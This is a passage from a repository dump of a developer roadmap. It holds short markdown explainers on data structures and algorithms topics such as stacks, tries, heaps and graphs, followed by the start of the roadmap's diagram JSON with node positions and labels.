    "content": "# Stacks\n\nA **stack** is a linear data structure that follows a particular order in which the operations are performed. The order may be LIFO (Last In First Out) or FILO (First In Last Out). Mainly three basic operations are performed in the stack:\n\n1.  **Push**: adds an element to the collection.\n    \n2.  **Pop**: removes an element from the collection. A pop can result in stack underflow if the stack is empty.\n    \n3.  **Peek** or **Top**: returns the top item without removing it from the stack.\n    \n\nThe basic principle of stack operation is that in a stack, the element that is added last is the first one to come off, thus the name \"Last in First Out\".\n\nVisit the following resources to learn more:\n\n- [@article@Leetcode](https://leetcode.com/problems/valid-parentheses/)\n- [@video@Stacks](https://www.youtube.com/watch?v=GYptUgnIM_I&list=PLgUwDviBIf0p4ozDR_kJJkONnb1wdx2Ma&index=69&ab_channel=takeUforward)\n- [@video@Stack Data Structure Tutorial](https://www.youtube.com/watch?v=O1KeXo8lE8A)\n- [@video@Python Stacks](https://www.youtube.com/watch?v=zwb3GmNAtFk)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/suffix-trees-and-arrays@zprVkxpojaxNo0LQar3Ex.md",
    "content": "# Suffix Trees and Arrays\n\n**Suffix Trees and Arrays** are advanced data structures used primarily for string manipulation and searches. A **Suffix Tree** is a compressed trie containing all the suffixes of a given text as their keys and positions as their values. On the other hand, a **Suffix Array** is a sorted array of all possible suffixes of a given text. Both these data structures provide an efficient way to store and search substrings in a text, but differ in terms of space complexity and time complexity."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/time-vs-space-complexity@unaYmPzK761Eh_iZMLeRC.md",
    "content": "# Time vs Space Complexity\n\nIn the context of algorithmic complexity, \"time\" refers to the amount of computational time that the algorithm takes to execute, while \"space\" refers to the amount of memory that the algorithm needs to complete its operation. The time complexity of an algorithm quantifies the amount of time taken by an algorithm to run, as a function of the size of the input to the program. The space complexity of an algorithm quantifies the amount of space or memory taken by an algorithm to run, as a function of the size of the input to the program. It's important to note that time and space are often at odds with each other; optimizing an algorithm to be quicker often requires taking up more memory, and decreasing memory usage can often make the algorithm slower. This is known as the space-time tradeoff.\n\nVisit the following resources to learn more:\n\n- [@article@Cheat Sheet](https://www.bigocheatsheet.com/)\n- [@video@Big O Notation — Calculating Time Complexity](https://www.youtube.com/watch?v=Z0bH0cMY0E8)\n- [@video@Free Code Camp Big-O Tutorial](https://youtu.be/Mo4vesaut8g?si=1jyb-EkfCLf9PNND)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/tree-based@ZXUfeyfC5oSKkGktXuK8t.md",
    "content": "# Tree-Based Indexing\n\nTree-based indexing involves using data structures that follow a tree-like model, with parent nodes, child nodes, and leaf nodes in a hierarchical order. Two popular tree-based indexing methods are B-tree and B+ tree. In a B-tree index, every data record is associated with a leaf node, while internal nodes can be linked to a number of lower nodes within a certain range. On the other hand, B+ tree index structure makes all records reside at the leaf level, with the internal nodes only containing key values. The path from the root to every leaf node in both B-tree and B+ tree is the same length, which allows for efficient and consistent retrieval times."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/tree-data-structures@r2Jagzbx0qOG-VtxBY-mz.md",
    "content": "# Tree Data Structures\n\nA **Tree data structure** is a type of non-linear, hierarchical data structure that consists of nodes connected by edges. It follows the parent-child relationship, with the top node being called the root. Each node in a tree can have child nodes and each of these child nodes has a single parent node. Nodes with same parents are known as siblings. Nodes without any children are referred to as leaves. Its structure allows the organization of data in a natural hierarchy. The simplification it provides in accessing, managing and manipulating data with complex relationships makes it a vital data structure in computer science. Implementations of the tree data structure are seen in databases, file systems, and HTML DOM."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/tree-traversal@2Od5lNc6fCM6Gyj_axj4n.md",
    "content": "# Tree Data Structures\n\nA **Tree data structure** is a type of non-linear, hierarchical data structure that consists of nodes connected by edges. It follows the parent-child relationship, with the top node being called the root. Each node in a tree can have child nodes and each of these child nodes has a single parent node. Nodes with same parents are known as siblings. Nodes without any children are referred to as leaves. Its structure allows the organization of data in a natural hierarchy. The simplification it provides in accessing, managing and manipulating data with complex relationships makes it a vital data structure in computer science. Implementations of the tree data structure are seen in databases, file systems, and HTML DOM."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/trie@zy3wpb1MjizfUfx9_rZy2.md",
    "content": "# Trie\n\nA **Trie**, also called digital tree and sometimes radix tree or prefix tree, is a type of search tree that is used to store a dynamic set or associative array where the keys are usually strings. Unlike binary search trees, no node in the tree stores the key associated with that node; instead, its position in the tree defines the key with which it is associated. All the descendants of any one node have a common prefix of the string associated with that node, and the root is associated with the empty string. A 'trie' is thus a way to represent the 're**trie**val' of information and is a type of tree structure used for this purpose. Typical usage scenarios could be in storing a predictive text or autocomplete dictionary, such as found on your smartphone or search engine."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/two-heaps@MGb8ufztTK75aXAyEAuaf.md",
    "content": "# Two Heaps\n\nThe two heaps method uses a max-heap to store the lower half of the numbers and a min-heap to store the upper half. This setup allows you to quickly access the largest value of the lower half and the smallest value of the upper half in constant time. Insertions and deletions take logarithmic time, and the heaps are balanced so that the median can be found in O(1) time. This approach is especially useful for dynamically maintaining the median of a long or streaming data sequence, where repeatedly sorting the data would be inefficient (O(n log n) per sort).\n\nVisit the following resources to learn more:\n\n- [@article@Two Heaps — A Coding Pattern for Median-finding (Emre Bolat)](https://emre.me/coding-patterns/two-heaps/)\n- [@video@Coding Pattern - Two Heaps](https://www.youtube.com/watch?v=9P7W5aEaatQ)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/two-pointer-technique@itvhUXbe9dr9JN5ga2jYy.md",
    "content": "# Two Pointer Technique\n\nThe **two-pointer technique** is a strategy that can be used to solve certain types of problems, particularly those that involve arrays or linked lists. This technique primarily involves using two pointers, which navigate through the data structure in various ways, depending on the nature of the problem. The pointers could traverse the array from opposite ends, or one could be moving faster than the other - often referred to as the `slow` and `fast` pointer method. This technique can greatly optimize performance by reducing time complexity, often enabling solutions to achieve O(n) time complexity.\n\nVisit the following resources to learn more:\n\n- [@article@Two Pointers Technique](https://medium.com/@johnnyJK/data-structures-and-algorithms-907a63d691c1)\n- [@article@Mastering the Two Pointers Technique: An In-Depth Guide](https://lordkonadu.medium.com/mastering-the-two-pointers-technique-an-in-depth-guide-3c2167584ccc)\n- [@video@Visual introduction Two Pointer Algorithm](https://www.youtube.com/watch?v=On03HWe2tZM)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/undirected-graph@VnKm_j7McUW9Lo0iKyPUp.md",
    "content": "# Undirected Graph\n\nAn **Undirected Graph** is a type of graph in which the edges are not directed. That is, they do not point in any specific direction and are not ordered pairs. They cannot be referred to as originating or ending node, instead, they are endpoints of the edges. In this type of graph, the edges essentially represent a two-way relationship, in the sense that, a travel can be made back and forth between the two vertices without any restriction. Every edge of the undirected graph always connects two different vertices or nodes."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/what-are-data-structures@jvWuYXWRtt_ePawc4q1Tg.md",
    "content": "# What are Data Structures?\n\nData structures are specialized formats for organizing and storing data in a computer so that it can be used efficiently. They provide a means to manage large amounts of data efficiently for uses such as large databases and internet indexing services. They are critical to programming and are used in almost all software systems including web development, operating systems, image editing, and much more. Some common types of data structures are arrays, linked lists, queues, stacks, trees, and graphs. The choice of the data structure often begins from the choice of an abstract data type, a broad type encapsulating various possible data structures.\"\n\nVisit the following resources to learn more:\n\n- [@video@What an Algorithms and More(MIT)](https://youtu.be/Zc54gFhdpLA?si=F_1QRigN_h2t2nSp&t=133)\n- [@video@What Are Data Structures?](https://www.youtube.com/watch?v=bum_19loj9A)\n- [@video@Introduction to Algorithms](https://www.youtube.com/watch?v=0IAPZzGSbME)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/why-are-data-structures-important@8_GkF9zhRL8tvT2qu-bGj.md",
    "content": "# Importance of Data Structures\n\nData structures are crucial in the field of computer science and coding because they offer a method of organizing and storing data in an efficient and manageable format. They're critical because they form the foundation for modern algorithm design. Your ability to choose or design the most suited data structure for a particular task can be the difference between a solution that's functional and efficient and one that isn't. They allow data to be processed in a variety of ways - stored, sorted, ordered, or accessed - which is integral to software or database development. By implementing effective data structures, programmers can enhance performance, ease coding procedures, allow flexibility of data and most importantly, reduce complexity of code in a significant manner.\n\nVisit the following resources to learn more:\n\n- [@video@What are Data Structures? Why is it Important?](https://www.youtube.com/watch?v=18V8Avz2OH8)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/datastructures-and-algorithms.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"Adh6y93w3eE11SlvPXlcL\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 215.75475775437354,\n        \"y\": 2256.769352765344\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 89\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 215.75475775437354,\n        \"y\": 2256.769352765344\n      }\n    },\n    {\n      \"id\": \"LgULG5TqiDk5b0yvg8DDK\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 39.62817877189195,\n        \"y\": 1873.6520523420259\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 586\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 39.62817877189195,\n        \"y\": 1873.6520523420259\n      }\n    },\n    {\n      \"id\": \"G1Z11sOSf6LagVI-B6km7\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 119.62817877189195,\n        \"y\": 1194.8297498253157\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 80\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 119.62817877189195,\n        \"y\": 1194.8297498253157\n      }\n    },\n    {\n      \"id\": \"wGQDKIEu-q3Xa9QDjoVbw\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -122.75937095351239,\n        \"y\": 1251.7591775424928\n      },\n      \"width\": 221,\n      \"height\": 224,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 224\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 225\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -122.75937095351239,\n        \"y\": 1251.7591775424928\n      }\n    },\n    {\n      \"id\": \"3EDlCW_qIgvDcnBZSmVNI\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 101.75475775437354,\n        \"y\": 1250.7275486887602\n      },\n      \"width\": 242,\n      \"height\": 171,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 171\n      },\n      \"selected\": false,\n      \"measured\": {\n        \"width\": 245,\n        \"height\": 169\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 101.75475775437354,\n        \"y\": 1250.7275486887602\n      }\n    },\n    {\n      \"id\": \"_1nO8vYWRbEMhR5XNGSLl\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 249.02847939467313,\n        \"y\": 910.5108704739819\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 86\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 249.02847939467313,\n        \"y\": 910.5108704739819\n      }\n    },\n    {\n      \"id\": \"ASVby3HvidfWQE0mYRZv5\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 119.62817877189195,\n        \"y\": 863.2947698407204\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 354\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 119.62817877189195,\n        \"y\": 863.2947698407204\n      }\n    },\n    {\n      \"id\": \"KySPNk-SJntN5A8Tzg9gf\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -34.37182122810804,\n        \"y\": 851.9149257985019\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 300,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -34.37182122810804,\n        \"y\": 851.9149257985019\n      }\n    },\n    {\n      \"id\": \"OQv5yn-SsqkJuTZyCSfMm\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -104.95158226769425,\n        \"y\": 864.2947698407204\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 84\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -104.95158226769425,\n        \"y\": 864.2947698407204\n      }\n    },\n    {\n      \"id\": \"7dB8kHEIyNqES2oYiNHFT\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -264.9515822676942,\n        \"y\": 863.2947698407204\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"OQv5yn-SsqkJuTZyCSfMm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 83\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -264.9515822676942,\n        \"y\": 863.2947698407204\n      }\n    },\n    {\n      \"id\": \"YgaMB-Qp40-_ruI58lpsT\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -72.5482627301021,\n        \"y\": 702.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.85,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 300,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -72.5482627301021,\n        \"y\": 702.900748222349\n      }\n    },\n    {\n      \"id\": \"5KDw-OrEYfaUPGyuE00IC\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -708.8399839574668,\n        \"y\": 749.9149257985019\n      },\n      \"width\": 208,\n      \"height\": 224,\n      \"style\": {\n        \"width\": 208,\n        \"height\": 224\n      },\n      \"selected\": false,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 224\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -708.8399839574668,\n        \"y\": 749.9149257985019\n      }\n    },\n    {\n      \"id\": \"wX2--f8Tqcj-MIrMC32yD\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 101.8618127280065,\n        \"y\": 419.23924063046\n      },\n      \"width\": 209,\n      \"height\": 383,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 383\n      },\n      \"selected\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 383\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 101.8618127280065,\n        \"y\": 419.23924063046\n      }\n    },\n    {\n      \"id\": \"5jNTeoLONIHWlT68poo7b\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -382.1381872719935,\n        \"y\": -47.59925177765109\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Structures & Algorithms\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 404,\n        \"height\": 68\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 404,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": -382.1381872719935,\n        \"y\": -47.59925177765109\n      }\n    },\n    {\n      \"id\": \"axi0SOAM1z4ZXqojfqphC\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -189.6381872719935,\n        \"y\": -124.59925177765109\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 77\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -189.6381872719935,\n        \"y\": -124.59925177765109\n      }\n    },\n    {\n      \"id\": \"Z4uVzAoNzcAkyjd-lp3_M\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -339.1381872719935,\n        \"y\": 157.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Pick a Language\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"j_r1tB16bA7R3yDAWN7Oj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284\n      },\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -339.1381872719935,\n        \"y\": 157.4007482223489\n      }\n    },\n    {\n      \"id\": \"HVD9G3JlLBsAg111vQILj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -578.1381872719935,\n        \"y\": 81.40074822234891\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"JavaScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9h1mz0xAUvPrnRm9VndJF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126\n      },\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -578.1381872719935,\n        \"y\": 81.40074822234891\n      }\n    },\n    {\n      \"id\": \"gjZZOwmYkXQHPfg9Ynz80\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -578.1381872719935,\n        \"y\": 134.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Java\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9h1mz0xAUvPrnRm9VndJF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126\n      },\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -578.1381872719935,\n        \"y\": 134.4007482223489\n      }\n    },\n    {\n      \"id\": \"OkdM_PJge70j5tsjT2Esl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -578.1381872719935,\n        \"y\": 187.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Go\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9h1mz0xAUvPrnRm9VndJF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126\n      },\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -578.1381872719935,\n        \"y\": 187.4007482223489\n      }\n    },\n    {\n      \"id\": \"BZvNEZjCNuHPg5SkX90bt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.1381872719935,\n        \"y\": 82.40074822234891\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"C#\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9h1mz0xAUvPrnRm9VndJF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126\n      },\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.1381872719935,\n        \"y\": 82.40074822234891\n      }\n    },\n    {\n      \"id\": \"IWmq4UFB5j6O3UJfarh1u\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.1381872719935,\n        \"y\": 135.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"C++\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9h1mz0xAUvPrnRm9VndJF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126\n      },\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.1381872719935,\n        \"y\": 135.4007482223489\n      }\n    },\n    {\n      \"id\": \"XyRCXhZjQFcDNaUSNNQV-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.1381872719935,\n        \"y\": 188.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Python\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9h1mz0xAUvPrnRm9VndJF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126\n      },\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.1381872719935,\n        \"y\": 188.4007482223489\n      }\n    },\n    {\n      \"id\": \"acgRMEuL4ZGGRHpZ7kXSo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.1381872719935,\n        \"y\": 241.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Rust\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9h1mz0xAUvPrnRm9VndJF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126\n      },\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.1381872719935,\n        \"y\": 241.4007482223489\n      }\n    },\n    {\n      \"id\": \"9h1mz0xAUvPrnRm9VndJF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -578.1381872719935,\n        \"y\": 240.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Ruby\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126\n      },\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -578.1381872719935,\n        \"y\": 240.4007482223489\n      }\n    },\n    {\n      \"id\": \"ebQdTOAOV54WBToHmFtBk\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -339.1381872719935,\n        \"y\": 210.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Programming Fundamentals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"j_r1tB16bA7R3yDAWN7Oj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284\n      },\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -339.1381872719935,\n        \"y\": 210.4007482223489\n      }\n    },\n    {\n      \"id\": \"kE6qddRhO8C5ur3JbeuhF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 83.99419451849974,\n        \"y\": 102.97918552903897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Language Syntax\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 241,\n      \"height\": 49,\n      \"style\": 